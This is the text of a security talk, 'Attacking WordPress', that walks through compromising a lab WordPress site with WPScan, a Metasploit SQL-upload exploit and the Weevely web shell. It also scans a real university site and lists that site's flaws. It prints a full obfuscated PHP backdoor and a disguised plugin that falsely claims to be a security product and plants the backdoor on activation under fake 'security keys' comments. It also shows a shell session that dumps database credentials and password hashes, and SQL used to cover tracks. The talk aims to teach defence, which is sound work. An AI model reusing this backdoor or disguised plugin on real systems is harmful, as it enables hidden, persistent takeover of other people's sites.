Attacking WordPress

Mark Montague

mark@catseye.org

Many slides have notes with extra material:

View this presentation at
http://www-personal.umich.edu/~markmont/awp/

Source files for this presentation can be downloaded from
http://www-personal.umich.edu/~markmont/awp.zip

Who I am

Who I am NOT


This presentation could be much scarier if done by either a security expert or a bad guy.

This presentation is an updated but significantly cut down version of a presentation I gave for WordPress Ann Arbor in January 2014. Please see that presentation for more details, especially about what types of bad guys there are, what motivates them, and how to protect your WordPress sites.

Both security experts and bad guys will have much more time and focus than a generalist such as I am.

Bad guys have access to malware, including very sophisticated toolkits to compromise web sites, "black hat" forums, and more. Toolkits and exploits are routinely bought and sold for Bitcoin or dollars on black market sites.

This presentation uses only "good guy tools" because I don't want to use untrustworthy software or wind up on some law enforcement agency's list.

The previous presentation exploited a PHP code injection vulnerability in the W3 Total Cache plugin and start a command shell on the web server. Today's presentation will instead exploit a SQL query injection vulnerability to add a new administrative user to the WordPress site via the database.

Don't be a bad guy

The purpose of this presentation is to show how easy it can be to take control of a WordPress site that is not kept up to date, in order to help motivate you to keep your own WordPress sites up to date and secure.

Everything we show in this presentation is fairly basic, widely available on the Internet, and easily findable with normal web searches. This presentation does not cover any expert or advanced techniques.

Still, using anything from this presentation without authorization against sites or computers that do not belong to you is illegal and likely carries severe penalties. Don't do it.

The target

http://myblog2.catseye.org/

Screenshot of the blog we will be attacking

This WordPress site is running inside a virtual machine on my laptop; it is not publicly accessible.

The target

Everything was set up according to the instructions at wordpress.org and ubuntu.com. The only extra thing that was done was to turn on SSH to allow command-line administration.

We're using Ubuntu Server LTS because it is the most popular choice for people who run their own server.

The attacker

badguy2.catseye.org

Screen shot from the Kali Linux web page

The attacking system is running in a second virtual machine on my laptop, and, like the target, is not publicly accessible.

We're using the latest release: Kali Linux 1.0.9, which is based on Debian 7 "Wheezy".

The attacker

Kali Linux, http://www.kali.org/

The attacker

We're actually going to use only three of the tools Kali Linux provides:

Instead of using Kali Linux, we could just download and install WPScan, Metasploit, and Weevely. This requires only a tiny bit more technical knowledge than using Kali Linux does, plus a bit more configuration work, and is very do-able. We're just being extra lazy.

WPScan

To find out how to use WPScan, run it with the --help option:

root@badguy2: ~# wpscan --help
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __  
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.5.1
     Sponsored by the RandomStorm Open Source Initiative
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

Help :

Some values are settable in a config file, see the example.conf.json

--update                            Update to the database to the latest version.
--url       | -u <target url>       The WordPress URL/domain to scan.
--force     | -f                    Forces WPScan to not check if the remote site is running WordPress.
--enumerate | -e [option(s)]        Enumeration.
  option :
    u        usernames from id 1 to 10
    u[10-20] usernames from id 10 to 20 (you must write [] chars)
    p        plugins
    vp       only vulnerable plugins
    ap       all plugins (can take a long time)
    tt       timthumbs
    t        themes
    vt       only vulnerable themes
    at       all themes (can take a long time)
  Multiple values are allowed : "-e tt,p" will enumerate timthumbs and plugins
  If no option is supplied, the default is "vt,tt,u,vp"

--exclude-content-based "<regexp or string>"
                                    Used with the enumeration option, will exclude all occurrences based on the regexp or string supplied.
                                    You do not need to provide the regexp delimiters, but you must write the quotes (simple or double).
--config-file  | -c <config file>   Use the specified config file, see the example.conf.json.
--user-agent   | -a <User-Agent>    Use the specified User-Agent.
--cookie <String>                   String to read cookies from.
--random-agent | -r                 Use a random User-Agent.
--follow-redirection                If the target url has a redirection, it will be followed without asking if you wanted to do so or not
--batch                             Never ask for user input, use the default behaviour.
--no-color                          Do not use colors in the output.
--wp-content-dir <wp content dir>   WPScan try to find the content directory (ie wp-content) by scanning the index page, however you can specified it.
                                    Subdirectories are allowed.
--wp-plugins-dir <wp plugins dir>   Same thing than --wp-content-dir but for the plugins directory.
                                    If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed
--proxy <[protocol://]host:port>    Supply a proxy. HTTP, SOCKS4 SOCKS4A and SOCKS5 are supported.
                                    If no protocol is given (format host:port), HTTP will be used.
--proxy-auth <username:password>    Supply the proxy login credentials.
--basic-auth <username:password>    Set the HTTP Basic authentication.
--wordlist | -w <wordlist>          Supply a wordlist for the password bruter and do the brute.
--username | -U <username>          Only brute force the supplied username.
--threads  | -t <number of threads> The number of threads to use when multi-threading requests.
--cache-ttl       <cache-ttl>       Typhoeus cache TTL.
--request-timeout <request-timeout> Request Timeout.
--connect-timeout <connect-timeout> Connect Timeout.
--max-threads     <max-threads>     Maximum Threads.
--help     | -h                     This help screen.
--verbose  | -v                     Verbose output.


Examples :

-Further help ...
ruby ./wpscan.rb --help

-Do 'non-intrusive' checks ...
ruby ./wpscan.rb --url www.example.com

-Do wordlist password brute force on enumerated users using 50 threads ...
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50

-Do wordlist password brute force on the 'admin' username only ...
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin

-Enumerate installed plugins ...
ruby ./wpscan.rb --url www.example.com --enumerate p

-Enumerate installed themes ...
ruby ./wpscan.rb --url www.example.com --enumerate t

-Enumerate users ...
ruby ./wpscan.rb --url www.example.com --enumerate u

-Enumerate installed timthumbs ...
ruby ./wpscan.rb --url www.example.com --enumerate tt

-Use a HTTP proxy ...
ruby ./wpscan.rb --url www.example.com --proxy 127.0.0.1:8118

-Use a SOCKS5 proxy ... (cURL >= v7.21.7 needed)
ruby ./wpscan.rb --url www.example.com --proxy socks5://127.0.0.1:9000

-Use custom content directory ...
ruby ./wpscan.rb -u www.example.com --wp-content-dir custom-content

-Use custom plugins directory ...
ruby ./wpscan.rb -u www.example.com --wp-plugins-dir wp-content/custom-plugins

-Update the DB ...
ruby ./wpscan.rb --update

-Debug output ...
ruby ./wpscan.rb --url www.example.com --debug-output 2>debug.log

See README for further information.

root@badguy2: ~# 



WPScan

Let's look at http://arc.research.umich.edu/

root@badguy2: ~# wpscan --url arc.research.umich.edu
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __  
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.5.1
     Sponsored by the RandomStorm Open Source Initiative
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://arc.research.umich.edu/
[+] Started: Thu Oct  2 21:32:30 2014

[+] robots.txt available under: 'http://arc.research.umich.edu/robots.txt'
[!] The WordPress 'http://arc.research.umich.edu/readme.html' file exists
[+] Interesting header: LINK: <http://arc.research.umich.edu/?p=12>; rel=shortlink
[+] Interesting header: SERVER: Apache
[+] XML-RPC Interface available under: http://arc.research.umich.edu/xmlrpc.php
[!] Upload directory has directory listing enabled: http://arc.research.umich.edu/wp-content/uploads/

[+] WordPress version 3.8.1 identified from meta generator
[!] 9 vulnerabilities identified from the version number

[!] Title: WordPress 1.0 - 3.8.1 administrator exploitable blind SQLi
    Reference: https://wpvulndb.com/vulnerabilities/5963
    Reference: https://security.dxw.com/advisories/sqli-in-wordpress-3-6-1/

[!] Title: WordPress 3.7.1 & 3.8.1 Potential Authentication Cookie Forgery
    Reference: https://wpvulndb.com/vulnerabilities/5964
    Reference: https://labs.mwrinfosecurity.com/blog/2014/04/11/wordpress-auth-cookie-forgery/
    Reference: https://github.com/WordPress/WordPress/commit/78a915e0e5927cf413aa6c2cef2fca3dc587f8be
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0166
    Reference: http://osvdb.org/105620
[i] Fixed in: 3.8.2

[!] Title: WordPress 3.7.1 & 3.8.1 Privilege escalation: contributors publishing posts
    Reference: https://wpvulndb.com/vulnerabilities/5965
    Reference: https://github.com/wpscanteam/wpscan/wiki/CVE-2014-0165
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0165
    Reference: http://osvdb.org/105630
[i] Fixed in: 3.8.2

[!] Title: WordPress Plupload Unspecified XSS
    Reference: https://wpvulndb.com/vulnerabilities/5966
    Reference: https://secunia.com/advisories/57769
    Reference: http://osvdb.org/105622
[i] Fixed in: 3.8.2

[!] Title: WordPress 3.5 - 3.7.1 XML-RPC DoS
    Reference: https://wpvulndb.com/vulnerabilities/7526
    Reference: http://wordpress.org/news/2014/08/wordpress-3-9-2/
    Reference: http://mashable.com/2014/08/06/wordpress-xml-blowup-dos/
    Reference: http://www.breaksec.com/?p=6362
    Reference: http://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
[i] Fixed in: 3.9.2

[!] Title: WordPress 2.0.3 - 3.9.1 (except 3.7.4 / 3.8.4) CSRF Token Brute Forcing
    Reference: https://wpvulndb.com/vulnerabilities/7528
    Reference: https://core.trac.wordpress.org/changeset/29384
    Reference: https://core.trac.wordpress.org/changeset/29408
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5204
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5205
[i] Fixed in: 3.9.2

[!] Title: WordPress 3.0 - 3.9.1 Authenticated Cross-Site Scripting (XSS) in Multisite
    Reference: https://wpvulndb.com/vulnerabilities/7529
    Reference: https://core.trac.wordpress.org/changeset/29398
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5240
[i] Fixed in: 3.9.2

[!] Title: WordPress 3.6 - 3.9.1 XXE in GetID3 Library
    Reference: https://wpvulndb.com/vulnerabilities/7530
    Reference: https://github.com/JamesHeinrich/getID3/commit/dc8549079a24bb0619b6124ef2df767704f8d0bc
    Reference: http://getid3.sourceforge.net/
    Reference: http://wordpress.org/news/2014/08/wordpress-3-9-2/
    Reference: http://lab.onsec.ru/2014/09/wordpress-392-xxe-through-media-upload.html
    Reference: https://github.com/ONsec-Lab/scripts/blob/master/getid3-xxe.wav
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-2053
[i] Fixed in: 3.9.2

[!] Title: WordPress 3.4.2 - 3.9.2 Does Not Invalidate Sessions Upon Logout
    Reference: https://wpvulndb.com/vulnerabilities/7531
    Reference: http://whiteoaksecurity.com/blog/2012/12/17/cve-2012-5868-wordpress-342-sessions-not-terminated-upon-explicit-user-logout
    Reference: http://blog.spiderlabs.com/2014/09/leveraging-lfi-to-get-full-compromise-on-wordpress-sites.html
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-5868
[i] Fixed in: 4.0

[+] WordPress theme in use: orci - v0.1.0

[+] Name: orci - v0.1.0
 |  Location: http://arc.research.umich.edu/wp-content/themes/orci/
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/themes/orci/
 |  Style URL: http://arc.research.umich.edu/wp-content/themes/orci/style.css
 |  Theme Name: ORCI
 |  Theme URI: http://orci.research.umich.edu/
 |  Description: Child theme for the Twenty Eleven theme
 |  Author: John Pariseau
 |  Author URI: http://example.com/about/

[+] Detected parent theme: twentyeleven - v1.7

[+] Name: twentyeleven - v1.7
 |  Location: http://arc.research.umich.edu/wp-content/themes/twentyeleven/
 |  Readme: http://arc.research.umich.edu/wp-content/themes/twentyeleven/readme.txt
 |  Style URL: http://arc.research.umich.edu/wp-content/themes/twentyeleven/style.css
 |  Theme Name: Twenty Eleven
 |  Theme URI: http://wordpress.org/themes/twentyeleven
 |  Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a c...
 |  Author: the WordPress team
 |  Author URI: http://wordpress.org/

[+] Enumerating plugins from passive detection ...
 | 8 plugins found:

[+] Name: contact-form-7 - v3.9.3
 |  Location: http://arc.research.umich.edu/wp-content/plugins/contact-form-7/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/contact-form-7/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/contact-form-7/

[!] Title: Contact Form 7 & Old WP Versions - Crafted File Extension Upload Remote Code Execution
    Reference: https://wpvulndb.com/vulnerabilities/7021
    Reference: http://packetstormsecurity.com/files/125018/
    Reference: http://seclists.org/fulldisclosure/2014/Feb/0
    Reference: http://osvdb.org/102776

[+] Name: jquery-collapse-o-matic - v1.5.7
 |  Location: http://arc.research.umich.edu/wp-content/plugins/jquery-collapse-o-matic/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/jquery-collapse-o-matic/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/jquery-collapse-o-matic/

[+] Name: jquery-colorbox - v4.6
 |  Location: http://arc.research.umich.edu/wp-content/plugins/jquery-colorbox/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/jquery-colorbox/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/jquery-colorbox/

[+] Name: mailchimp - v1.4.1
 |  Location: http://arc.research.umich.edu/wp-content/plugins/mailchimp/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/mailchimp/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/mailchimp/

[+] Name: page-list - v4.2
 |  Location: http://arc.research.umich.edu/wp-content/plugins/page-list/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/page-list/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/page-list/

[+] Name: social - v2.11
 |  Location: http://arc.research.umich.edu/wp-content/plugins/social/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/social/README.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/social/

[+] Name: wp-paginate - v1.2.4
 |  Location: http://arc.research.umich.edu/wp-content/plugins/wp-paginate/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/wp-paginate/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/wp-paginate/

[+] Name: youtube-shortcode - v1.8.5
 |  Location: http://arc.research.umich.edu/wp-content/plugins/youtube-shortcode/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/youtube-shortcode/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/youtube-shortcode/

[+] Finished: Thu Oct  2 21:34:06 2014
[+] Memory used: 5.469 MB
[+] Elapsed time: 00:01:36
root@badguy2: ~# 



This is a WordPress site I use a lot at work.

WPScan can tell that the server runs Apache, but not what version.

Despite the #1 thing for keeping people from breaking into your site being to always keep up-to-date with the latest versions of everything, this site is still running WordPress 3.8.1. That's very bad; unfortunately, it's not uncommon.

WPScan found nine security vulnerabilities. Many are probably not anything that would be useful to the casual attacker, but some might be. Read the details at each of the reference URLs that WPScan provides to find out more.

WPScan found one theme ("orci", which it can tell is a child theme of Twenty Eleven), and eight plugins. There are likely more which could be found by running WPScan with an exhaustive plugin search ("wpscan --enumerate ap").

Note the web server configuration that permits the content of many directories to be listed — this is potentially very useful to an attacker.

If we wanted to attack this site, WPScan has given us a lot of potential avenues to explore.

WPScan

Now, our intended target, http://myblog2.catseye.org/

Script started on Thu 02 Oct 2014 09:49:02 PM EDT
root@badguy2: ~# wpscan --url myblog2.catseye.org
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __  
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.5.1
     Sponsored by the RandomStorm Open Source Initiative
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://myblog2.catseye.org/
[+] Started: Thu Oct  2 21:49:18 2014

[!] The WordPress 'http://myblog2.catseye.org/readme.html' file exists
[+] Interesting header: SERVER: Apache/2.4.7 (Ubuntu)
[+] Interesting header: X-POWERED-BY: PHP/5.5.9-1ubuntu4.4
[+] XML-RPC Interface available under: http://myblog2.catseye.org/xmlrpc.php

[+] WordPress version 4.0 identified from meta generator

[+] WordPress theme in use: twentyfourteen - v1.2

[+] Name: twentyfourteen - v1.2
 |  Location: http://myblog2.catseye.org/wp-content/themes/twentyfourteen/
 |  Style URL: http://myblog2.catseye.org/wp-content/themes/twentyfourteen/style.css
 |  Theme Name: Twenty Fourteen
 |  Theme URI: http://wordpress.org/themes/twentyfourteen
 |  Description: In 2014, our default theme lets you create a responsive magazine website with a sleek, modern des...
 |  Author: the WordPress team
 |  Author URI: http://wordpress.org/

[+] Enumerating plugins from passive detection ...
 | 1 plugins found:

[+] Name: custom-contact-forms - v5.1.0.3
 |  Location: http://myblog2.catseye.org/wp-content/plugins/custom-contact-forms/
 |  Readme: http://myblog2.catseye.org/wp-content/plugins/custom-contact-forms/readme.txt
[!] Directory listing is enabled: http://myblog2.catseye.org/wp-content/plugins/custom-contact-forms/

[!] Title: Custom Contact Forms <= 5.0.0.1 - Cross Site Scripting
    Reference: https://wpvulndb.com/vulnerabilities/6296
    Reference: http://packetstormsecurity.com/files/112616/

[!] Title: Custom Contact Forms <= 5.1.0.3 Database Import/Export
    Reference: https://wpvulndb.com/vulnerabilities/7542
    Reference: http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html
    Reference: http://www.rapid7.com/db/modules/auxiliary/admin/http/wp_custom_contact_forms
[i] Fixed in: 5.1.0.4

[+] Finished: Thu Oct  2 21:49:21 2014
[+] Memory used: 2.191 MB
[+] Elapsed time: 00:00:03
root@badguy2: ~# exit



WPScan was not only able to tell what web server software is being used, but also the versions of both Apache HTTP Server and PHP.

WPScan found the Custom Contacts Form plugin and correctly noticed a database vulnerablity in it.

Metasploit

http://www.metasploit.com/

Screen shot from the Metasploit website

Metasploit

Metasploit is available in four editions:

To run the Metasploit web interface under Kali Linux, type the following commands:

  service postgresql start
  service metasploit start

Wait a few minutes for Metasploit to start and create its databases, then go to http://badguy2.catseye.org:3790/

Everything we're doing in this presentation can work with any of the editions. For this demo, we're using Metasploit Community.

Metasploit

Basic steps:

  1. Create a Metasploit user account.
  2. Get and enter a license key (Community, Express, Pro editions).

  3. Create a project.
  4. Choose and run an exploit, breaking into the target's site.
  5. Do what you want to the target's site.

Steps 1 and 2 have already been done, we'll start with step 3.

A project is like a container that keeps track of systems that are being tested, and results of the tests.

Metasploit

Metasploit web interface - main page:

Screenshot of the Metasploit web interface main page

This is the page a user gets after they create a Metasploit user account, request and enter a product key, and log in.

Click on the New Project button to begin.

Metasploit

Screenshot of the Metasploit web interface New Project page

Just enter a name for the project and either the networks or IP addresses you'll be testing and then click the Create Project button.

To speed things up, since we're working with a single target, we'll specify just its IP address instead of specifying a network range.

Metasploit

Project overview page:

Screenshot of the Metasploit web interface project overview page

Normally, we'd let Metasploit do a scan and then use the "Exploit" button to attempt to break into the sites that it found. But, since we know from WPScan that this site is running a vulnerable plugin, to save time, click on "Modules" in the top menu and select "Search...". Then search for "wordpress".

We're actually using Metasploit here far below the level of complexity for which it is intended.

Metasploit

List of Metasploit WordPress exploit modules:

Screenshot of the list of Metasploit exploit modules for WordPress

Click on "WordPress custom-contact-forms Plugin SQL Upload".

WordPress has a lot of vulnerabilities that are not listed here. If we're interested in anything not shown, we can create an Metasploit module for it ourselves, or we could exploit it outside of Metasploit, either by hand or by using a different tool.

Metasploit

Screenshot of the Custom Contact Form exploit module options page

Although there are a lot of options that can be set, all we need to do is make sure that the IP address of our target system is correct and then click "Run Module". Metasploit will then attempt to create a new administrator user for us on the target WordPress site.

To make everything fit on this slide, I've edited out the fields that normally show up in the "Module Options" section.

Metasploit

Running the exploit:

Screenshot of the successful exploit

That's all there is to it! The WordPress site has now been compromised, and we should be able to log in as an administrator.

Note that the exploit module first determined the WordPress database table prefix, then uploaded SQL queries to create the administrator account.

Attacker logging in

Attacker logging in to WordPress using the credentials created by the successful exploit

The most effective way to make things harder for the attacker at this point is to have the login page not be accessible. For example, if the attacker is in Vietnam but the login page is only accessible from IP addresses in Ann Arbor, the attacker would need to use a VPN, use the vulnerability in CCF to steal session information from the WordPress database, or leverage another SQL-based avenue of attack.

WordPress Users

Screenshot of the WordPress Users page, showing the new administrative user

As you can see, the user created by the exploit is an administrator can can do anything the owner of the blog can do via WordPress.

But, it's pretty obvious that the compromise has taken place. If the real owner of the site checks, they'll see our account, delete it, and probably upgrade everything.

So now what?

Weevely


root@badguy2:~# weevely generate L3tM3In
[generate.php] Backdoor file 'weevely.php' created with password 'L3tM3In'
root@badguy2:~# 

There are dozens of other PHP shells and backdoors; we chose Weevely just because it was convenient and included with Kali Linux.

Weevely

Here's the obfuscated PHP code (weevely.php) that Weevely created for us to upload:

<?php
$puda="sjMpeyRrPSd0TTNJbic7ZWesNesobyesAnPCcuJGsuJz4nO2V2YWwoYmFzZTesY0X2RlY29kZShwcmVnX";
$qdqy = str_replace("v","","svtvrv_rveplvavce");
$gsqi="JesGM9J2esNvdW50JzskYT0kX0esNesPesT0tJRTestpZihyZXNlesdCgkYSk9esPesSdMMycgJiYgJGMoJGEpPe";
$oydb="3JlcGxhY2esUoYXJyYXkoJy9esbesXeslx3PVxzXSes8nLCcvXHMvJykessIGFycmF5KCcnLCcrJyesksIGespvaW4";
$dscq="oYXJyYXlesfc2xpY2UoJGesEsJGesMoJesGEespLTMespKSkpesKTestlY2hesvIesCc8LycuJGsuJz4esnO30=";
$itjh = $qdqy("ca", "", "bacascae64_dcaecaccaode");
$vwfl = $qdqy("rk","","rkcrkrrkerkarkterk_frkurknrkctrkirkorkn");
$qbdh = $vwfl('', $itjh($qdqy("es", "", $gsqi.$puda.$oydb.$dscq))); $qbdh();
?>

This is valid PHP code that accepts a command from the attacker, verifies the attacker's password, and, if it checks out, runs the command.

If we put this weevely.php file in the main WordPress directory, then we'd be able to access our back door at http://myblog2.catseye.org/weevely.php (although we'd have to use Weevely to access it there, going there with a web browser will just show a blank page).

In addition to being obfuscated, the code has some random elements that are unique to each piece of code Weevely generates — this helps to prevent anti-virus software and other malware scanners from detecting the code once it is uploaded.

Weevely

So how do we get the weevely.php file onto the target web server?

Other choices for where to install the backdoor include in a hidden directory that we create, or deep in the wp-content/uploads directory.

We want to avoid putting the backdoor in the wp-admin or wp-includes directory as these directories can be deleted during WordPress upgrades.

Weevely plugin

Our backdoor-delivering plugin looks like this:

<?php
/*
Plugin Name: WP Elite Security Pro
Description: WP Elite Security Pro addresses over 250 potential security problems to keep your WordPress site secure like nothing else can.  Includes the Elite Guardian monitoring techology to keep you informed about attacks against your site.
Version: 1.3.1
Author: WP Trust Assurance, Inc.
Author URI: http://wordpress.org/plugins/wp-elite-security
License: GPL3
*/

function wesp_activate() {

  $str = <<<'ENDOFSTRING'
/**
 * Enhanced Security Keys and Salts.
 *
 * These are unique to each WordPress site and are generated automatically
 * during installation and upgrades.  They should not be changed manually.
 *
 * @since 4.0.0
 */
$puda="sjMpeyRrPSd0TTNJbic7ZWesNesobyesAnPCcuJGsuJz4nO2V2YWwoYmFzZTesY0X2RlY29kZShwcmVnX";
$qdqy = str_replace("v","","svtvrv_rveplvavce");
$gsqi="JesGM9J2esNvdW50JzskYT0kX0esNesPesT0tJRTestpZihyZXNlesdCgkYSk9esPesSdMMycgJiYgJGMoJGEpPe";
$oydb="3JlcGxhY2esUoYXJyYXkoJy9esbesXeslx3PVxzXSes8nLCcvXHMvJykessIGFycmF5KCcnLCcrJyesksIGespvaW4";
$dscq="oYXJyYXlesfc2xpY2UoJGesEsJGesMoJesGEespLTMespKSkpesKTestlY2hesvIesCc8LycuJGsuJz4esnO30=";
$itjh = $qdqy("ca", "", "bacascae64_dcaecaccaode");
$vwfl = $qdqy("rk","","rkcrkrrkerkarkterk_frkurknrkctrkirkorkn");
$qbdh = $vwfl('', $itjh($qdqy("es", "", $gsqi.$puda.$oydb.$dscq))); $qbdh();
ENDOFSTRING;

  $str = "<" . "?php\n" . $str . "\n?" . ">\n";

  $file = fopen( '/var/www/html/wp-options.php', 'w' );
  fwrite( $file, $str );
  fclose( $file );

}

register_activation_hook( __FILE__, 'wesp_activate' );

?>



The header of the plugin is full of lies, in case someone loads the WordPress plugin page during the brief amount of time we will have the plugin installed.

There is only one function, which we arrange to get called when the plugin is activated. This function creates the new file /var/www/html/wp-options.php and writes the Weevely backdoor into it.

Note that we add some comments — which are all lies — to the beginning of the backdoor file to make it seem more innocuous, in case the owner of the site finds and looks at it. Security keys and salts shouldn't be messed with and look pretty similar to obfuscated PHP code, right?

Also note that we removed the PHP tags from the Weevely file, and we add them in afterward — this is to prevent them from being acted on prematurely when the plugin itself is running.

Weevely Plugin

Zip up our wp-elite-security plugin, upload it, and activate it:

Screenshot of the activated, backdoor-delivering plugin

Using Weevely

Now that our backdoor is installed, we can connect from the attacking machine directly to the web server to run any commands we want:

root@badguy2: ~# weevely http://myblog2.catseye.org/wp-options.php L3tM3In
      ________                     __
     |  |  |  |----.----.-.--.----'  |--.--.
     |  |  |  | -__| -__| |  | -__|  |  |  |
     |________|____|____|___/|____|__|___  | v1.1
                                     |_____|
              Stealth tiny web shell

[+] Browse filesystem, execute commands or list available modules with ':help'
[+] Current session: 'sessions/myblog2.catseye.org/wp-options.session'

www-data@myblog2:/var/www/html $ ls -l
total 184
-rw-r--r--  1 www-data www-data   418 Sep 24  2013 index.php
-rw-r--r--  1 www-data www-data 19930 Apr  9 19:50 license.txt
-rw-r--r--  1 www-data www-data  7192 Apr 21 00:42 readme.html
-rw-r--r--  1 www-data www-data  4951 Aug 20 13:30 wp-activate.php
drwxr-xr-x  9 www-data www-data  4096 Sep  4 12:25 wp-admin
-rw-r--r--  1 www-data www-data   271 Jan  8  2012 wp-blog-header.php
-rw-r--r--  1 www-data www-data  4946 Jun  5 00:38 wp-comments-post.php
-rw-r--r--  1 www-data www-data  2746 Aug 26 15:59 wp-config-sample.php
-rw-rw-rw-  1 www-data www-data  3036 Oct  2 20:14 wp-config.php
drwxr-xr-x  6 www-data www-data  4096 Oct  3 14:30 wp-content
-rw-r--r--  1 www-data www-data  2956 May 13 00:39 wp-cron.php
drwxr-xr-x 12 www-data www-data  4096 Sep  4 12:25 wp-includes
-rw-r--r--  1 www-data www-data  2380 Oct 24  2013 wp-links-opml.php
-rw-r--r--  1 www-data www-data  2714 Jul  7 12:42 wp-load.php
-rw-r--r--  1 www-data www-data 33043 Aug 27 01:32 wp-login.php
-rw-r--r--  1 www-data www-data  8252 Jul 17 05:12 wp-mail.php
-rw-r--r--  1 www-data www-data   856 Oct  3 14:33 wp-options.php
-rw-r--r--  1 www-data www-data 11115 Jul 18 05:13 wp-settings.php
-rw-r--r--  1 www-data www-data 26256 Jul 17 05:12 wp-signup.php
-rw-r--r--  1 www-data www-data  4026 Oct 24  2013 wp-trackback.php
-rw-r--r--  1 www-data www-data  3032 Feb  9  2014 xmlrpc.php
www-data@myblog2:/var/www/html $ :system.info
[system.info] Error downloading TOR exit list: 'http://exitlist.torproject.org/exit-addresses'
[system.info] Error downloading TOR exit list: 'http://exitlist.torproject.org/exit-addresses.new'
+--------------------+------------------------------------------------------------------------------------+
| client_ip          | 192.168.4.144                                                                      |
| max_execution_time | 30                                                                                 |
| script             | /wp-options.php                                                                    |
| check_tor          | False                                                                              |
| open_basedir       |                                                                                    |
| hostname           | myblog2                                                                            |
| php_self           | /wp-options.php                                                                    |
| whoami             | www-data                                                                           |
| uname              | Linux myblog2 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 |
| safe_mode          | 0                                                                                  |
| php_version        | 5.5.9-1ubuntu4.4                                                                   |
| release            | Ubuntu 14.04.1 LTS                                                                 |
| dir_sep            | /                                                                                  |
| os                 | Linux                                                                              |
| cwd                | /var/www/html                                                                      |
| document_root      | /var/www/html                                                                      |
+--------------------+------------------------------------------------------------------------------------+
www-data@myblog2:/var/www/html $ 



You can type :help to get a list of all of the built-in commands Weevely supports. Anything that does not begin with a colon is run as a command on the target web server.

Cover our tracks

Now that we know our backdoor works, cover our tracks by doing the following using our WordPress administrator account:

Cover our tracks

We can delete the administrator user created by the exploit by directly modifying the WordPress database. We can create another administrator user later, if needed.

www-data@myblog2:/var/www/html $ grep DB_ wp-config.php
define('DB_NAME', 'wordpress');
define('DB_USER', 'wordpress');
define('DB_PASSWORD', 'PexpD&F');
define('DB_HOST', 'localhost');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -h ost localhost -dbms mysql -query "select * from wordpress.wp_users"
+---+------------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+
| 1 | admin      | $P$BzhnOQuKjAFmmMJaVwQzTMppk4Z43C0 | admin | markmont@myblog2.catseye.org |  | 2014-10-03 00:15:16 |  | 0 | admin |
| 2 | dimuHQRery | $P$BS0KP5qd5Vhs4MVZ7ZIoMcIU0R2AjB/ |       |                              |  | 0000-00-00 00:00:00 |  | 0 |       |
+---+------------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -host localhost -dbms mysql -query "delete from wordpress.wp_users where ID = 2"
[sql.console] No data returned, check credentials and dbms availability.
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -host localhost -dbms mysql -query "delete from wordpress.wp_usermeta where user_id = 2"
[sql.console] No data returned, check credentials and dbms availability.
